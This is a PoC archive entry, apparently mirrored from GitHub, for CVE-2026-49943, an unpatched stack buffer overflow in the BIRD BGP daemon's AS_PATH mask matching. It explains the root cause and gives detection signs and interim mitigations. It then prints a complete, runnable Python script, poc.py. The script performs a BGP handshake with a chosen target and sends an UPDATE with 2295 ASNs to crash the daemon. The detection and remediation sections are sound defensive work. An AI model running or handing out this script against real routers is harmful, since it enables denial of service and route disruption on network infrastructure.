PoC Archive PoC Archive
High CVE-2026-49943 unpatched

BIRD/BIRD2 BGP AS_PATH Mask Matching Stack Buffer Overflow (CVE-2026-49943)

by Bakabaka_9 (9Bakabaka) · 2026-07-05

CVSS 3.1/10
Severity
High
CVE
CVE-2026-49943
Category
network
Affected product
BIRD Internet Routing Daemon (BGP implementation)
Affected versions
Confirmed: BIRD 2.18; potentially other BIRD 2.x versions containing the fixed-size pm_pos pos[2048 + 1] stack buffer in as_path_match()
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherBakabaka_9 (9Bakabaka)
CVE / AdvisoryCVE-2026-49943
Categorynetwork
SeverityHigh
CVSS ScoreCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H (suggested by researcher; not an official vendor score)
StatusPoC
Tagsbird, bird2, bgp, as-path, stack-buffer-overflow, denial-of-service, routing, dos
RelatedN/A

Affected Target

FieldValue
Software / SystemBIRD Internet Routing Daemon (BGP implementation)
Versions AffectedConfirmed: BIRD 2.18; potentially other BIRD 2.x versions containing the fixed-size pm_pos pos[2048 + 1] stack buffer in as_path_match()
Language / PlatformC (BIRD daemon), Python 3 PoC client
Authentication RequiredYes — attacker must be an established, authenticated BGP peer of the target
Network Access RequiredYes

Summary

This repository documents a stack-based buffer overflow in BIRD’s BGP AS_PATH mask matching code (as_path_match() in nest/a-path.c). The function uses a fixed-size stack array of 2048 + 1 pm_pos entries, but parse_path() expands AS_PATH segments from a received BGP UPDATE message without enforcing a matching capacity limit. When a BGP peer sends an UPDATE containing an AS_PATH longer than 2048 ASNs while the target evaluates an AS path mask filter (e.g. bgp_path ~ [= ... =]) with BGP Extended Messages enabled, the matcher writes past the end of the stack buffer, crashing the daemon. The included poc.py establishes a minimal BGP session with the target and sends a single UPDATE containing an AS_PATH of 2295 ASNs to trigger the crash.


Vulnerability Details

Root Cause

as_path_match() allocates a fixed-size stack array (pm_pos pos[2048 + 1]) for path-mask matching state. parse_path() expands AS_PATH segments received in a BGP UPDATE into that array without checking that the number of ASNs stays within the array’s capacity. AS_PATH attributes with more than 2048 ASNs cause writes beyond the end of the stack buffer. The researcher also notes that as_path_getlen() does not count AS_PATH_CONFED_SEQUENCE entries even though parse_path() still expands them into the same fixed buffer, so mitigations that only check bgp_path.len are incomplete for BGP confederation paths.

Attack Vector

  1. Attacker establishes a BGP session with the target BIRD instance (BGP OPEN/KEEPALIVE handshake), acting as a legitimate, already-authorized peer.
  2. Target must have BGP Extended Messages (RFC 8654) enabled and must evaluate an AS path mask filter (e.g. bgp_path ~ [= ... =]) on the session.
  3. Attacker sends a BGP UPDATE message whose AS_PATH attribute contains more than 2048 ASNs (the PoC uses 2295, split across 9 AS_SEQUENCE segments of 255 ASNs each, using the Extended Length attribute flag).
  4. When the target’s filter interpreter calls as_path_match()parse_path() on the oversized AS_PATH, the fixed-size stack buffer is overrun, crashing the daemon (confirmed via AddressSanitizer as a stack-buffer-overflow).

Impact

Denial of service: the BIRD BGP daemon crashes/segfaults, causing BGP sessions to drop and routes to be withdrawn or recalculated. In route server, route reflector, BGP collector, or internal backbone deployments this can cause control-plane disruption and route churn. No memory corruption beyond the crash (write primitive) was demonstrated as leading to code execution in the source material.


Environment / Lab Setup

Target:   BIRD 2.18 (or other affected BIRD 2.x) configured as a BGP speaker with an AS path mask filter and BGP Extended Messages enabled, reachable over an established BGP session
Attacker: Python 3 host with network access to the target's BGP port (179/tcp), running poc.py

Proof of Concept

PoC Script

See poc.py in this folder. See also advisory.md for the full technical write-up, ASan crash trace, and confederation-path caveats.

1
2
python3 poc.py <target_ip> [target_port]
python3 poc.py 192.0.2.10 179

The script opens a TCP connection to the target’s BGP port, completes a minimal OPEN/KEEPALIVE handshake (4-byte ASN and Extended Message capabilities advertised), then immediately sends a crafted UPDATE message containing an AS_PATH of 2295 ASNs. If the connection resets or times out immediately afterward, this indicates the target daemon has crashed.


Detection & Indicators of Compromise

Signs of compromise:

  • Sudden BIRD daemon crash or restart coinciding with receipt of a BGP UPDATE from a peer
  • Route flapping / withdrawal churn correlated with a single peering session
  • Core dumps or ASan/crash logs referencing as_path_match or nest/a-path.c

Remediation

ActionDetail
Primary fixNo source-level fixed version was available at time of disclosure; monitor BIRD project advisories for a patch enforcing bounds during AS_PATH expansion/matching
Interim mitigationAvoid enabling BGP Extended Messages unless required; avoid evaluating AS path mask filters on untrusted/loosely trusted BGP sessions; reject unusually long AS_PATH attributes before filter evaluation; note that filtering only on bgp_path.len is incomplete for confederation paths; restrict BGP sessions to trusted peers

References


Notes

Mirrored from https://github.com/9Bakabaka/CVE-2026-49943-PoC on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import socket
import struct
import sys

def send_bgp_open(sock, local_as=65000, router_id='1.1.1.1'):
    # 构造 OPEN 消息(MP-BGP, 4-byte ASN, Extended Message)
    cap_mp = b'\x01\x04\x00\x01\x00\x01'          # IPv4 Unicast
    cap_as4 = b'\x41\x04\x00\x00\xfd\xe8'         # 4-byte ASN capability (AS 65000)
    cap_ext = b'\x06\x00'                         # Extended message support
    caps = cap_mp + cap_as4 + cap_ext
    opt_params = struct.pack('!BB', 2, len(caps)) + caps

    # OPEN body: version 4, AS 65000, hold time 180s, BGP identifier
    router_id_bytes = socket.inet_aton(router_id)
    open_body = struct.pack('!BHHIB', 4, local_as, 180, struct.unpack('!I', router_id_bytes)[0], len(opt_params)) + opt_params

    # 加上 marker 和头部
    marker = b'\xff' * 16
    bgp_open = marker + struct.pack('!HB', 19 + len(open_body), 1) + open_body
    sock.sendall(bgp_open)

def send_bgp_keepalive(sock):
    marker = b'\xff' * 16
    keepalive = marker + struct.pack('!HB', 19, 4)
    sock.sendall(keepalive)

def send_malicious_update(sock, attacker_ip='192.0.2.1'):
    """
    构造包含超长 AS_PATH 的 UPDATE 消息,触发栈溢出。
    """
    # 基础属性
    attr_origin = b'\x40\x01\x01\x00'                     # ORIGIN: IGP
    nh_bytes = socket.inet_aton(attacker_ip)
    attr_nexthop = struct.pack('!BBB', 0x40, 3, 4) + nh_bytes  # NEXT_HOP

    # 超长 AS_PATH: 9 个 AS_SEQUENCE 段,每段 255 个 AS,全部填充 0x41414141
    as_segment = b'\x02\xff' + (struct.pack('!I', 0x41414141) * 255)
    as_path_data = as_segment * 9                     # 总共 2295 个 AS

    # 使用 Extended Length 标志 (0x50),因为长度超过 255 字节
    attr_aspath = struct.pack('!BBH', 0x50, 2, len(as_path_data)) + as_path_data

    total_path_attrs = attr_origin + attr_nexthop + attr_aspath

    # NLRI: 10.0.0.0/24
    nlri = b'\x18\x0a\x00\x00'

    # 组装 UPDATE 消息
    update_body = (
        struct.pack('!H', 0) +                     # Withdrawn Routes Length = 0
        struct.pack('!H', len(total_path_attrs)) + # Total Path Attributes Length
        total_path_attrs +
        nlri
    )

    marker = b'\xff' * 16
    bgp_update = marker + struct.pack('!HB', 19 + len(update_body), 2) + update_body
    sock.sendall(bgp_update)

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [target_port]")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 179

    print(f"[*] 目标 {target_ip}:{target_port}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))
        print("[+] TCP 连接成功")

        # 发送 OPEN 消息
        send_bgp_open(sock)
        print("[*] 已发送 OPEN 消息")

        # 接收对方 OPEN
        data = sock.recv(4096)
        if not data:
            print("[-] 未收到 OPEN 响应,目标可能不是 BGP 服务")
            sock.close()
            sys.exit(1)
        print("[+] 收到对方 OPEN,协商完成")

        # 发送 KEEPALIVE
        send_bgp_keepalive(sock)
        print("[*] 已发送 KEEPALIVE")

        # 立即发送恶意 UPDATE
        send_malicious_update(sock)
        print("[*] 已发送恶意 UPDATE(2295 ASNs),触发栈溢出...")

        # 尝试接收数据(可能对方已崩溃,连接断开)
        try:
            sock.recv(1024)
            print("[?] 对方未立即断开,可能未成功触发漏洞")
        except (ConnectionResetError, socket.timeout, OSError):
            print("[+] 连接已断开,BIRD 很可能已崩溃(Segmentation fault)")

        sock.close()
        print("[*] 攻击完成")
    except ConnectionRefusedError:
        print("[-] 连接被拒绝,请检查目标 IP 和端口")
    except socket.timeout:
        print("[-] 连接超时")
    except Exception as e:
        print(f"[-] 发生错误: {e}")

if __name__ == "__main__":
    main()